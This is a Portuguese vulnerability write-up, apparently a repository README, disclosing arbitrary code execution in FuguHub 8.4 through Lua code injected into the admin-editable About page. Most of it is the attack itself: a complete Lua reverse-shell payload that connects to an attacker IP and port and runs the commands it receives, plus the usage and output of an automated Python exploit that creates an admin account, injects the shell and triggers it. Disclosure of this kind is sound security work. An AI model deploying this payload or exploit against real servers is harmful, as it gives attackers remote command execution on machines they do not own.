Execução de código arbitrário no FuguHub 8.4
Fuguhub é um software de servidor de mídia em nuvem. A versão testada foi a versão Debian neste link:
https://fuguhub.com/articles/FuguHub-for-Debian Um problema no Real Time Logic LLC FuguHub v.8.4 permite que um atacante local execute código arbitrário através de um script malicioso na página 'Sobre' do painel do Administrador.
Captura de tela mostrando a página de download do FuguHub
wget FuguHub.com/install/FuguHub.linux.install
chmod +x FuguHub.linux.install
sudo ./FuguHub.linux.install
A página 'Sobre' é uma página lua editável cujo conteúdo pode ser alterado através do painel do Administrador. A vulnerabilidade insere uma reverse shell escrita em lua na página 'Sobre', que é visível tanto para usuários logados quanto para usuários não logados.
Captura de tela mostrando a página 'Sobre' que é editável pelo Administrador do FuguHub
O FuguHub solicita que o usuário crie um usuário administrador, isso também pode ser feito nesta página: http://127.0.0.1/rtl/protected/admin/ Uma vez criado, o administrador pode Personalizar o Servidor neste link: http://127.0.0.1/rtl/protected/admin/customize.lsp isso permite que o usuário edite a página Sobre, que podemos ver tem uma seção de código lua na qual podemos injetar código.
Captura de tela mostrando código lsp editável que é executado no lado do servidor para retornar a versão do software, este é o ponto de inserção para a reverse shell
Aqui está um exemplo de payload:
<?lsp if request:method() == "GET" then ?>
<?lsp
local host, port = "192.168.0.107", 4444
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
local connection, err = tcp:connect(host, port)
if not connection then
print("Error connecting: " .. err)
return
end
while true do
local cmd, status, partial = tcp:receive()
if status == "closed" or status == "timeout" then break end
if cmd then
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
end
end
tcp:close()
?>
<?lsp else ?>
Wrong request method, goodBye!
<?lsp end ?>
Um payload alternativo de linha única pode ser obtido em revshells.com
Captura de tela da reverse shell lua do revshells.com
Durante minhas tentativas de automatizar este exploit, encontrei o CVE-2023-24078 que identificou uma vulnerabilidade de upload de arquivos no FuguHub. Esse exploit foi feito usando Python e possuía login/criação de conta automatizados. Usei a parte de autenticação desse exploit e adicionei código que explora meu novo ponto de inserção descoberto na página customize.lsp. Meu exploit em Python está incluído no repositório como exploit.py
usage: exploit.py [-h] -r RHOST [-rp RPORT] -l LHOST -p LPORT
┌──(kali㉿kali)-[~/pg/hub]
└─$ python3 exploit.py -r 192.168.XXX.XXX -rp 80 -l 192.168.XXX.XXX -p 5555
[*] Checking for admin user...
[+] No admin user exists yet, creating account with admin:password
[+] User created!
[+] Logging in...
[+] Success! Injecting the reverse shell...
[+] Successfully injected the reverse shell into the About page.
[+] Triggering the reverse shell, check your listener...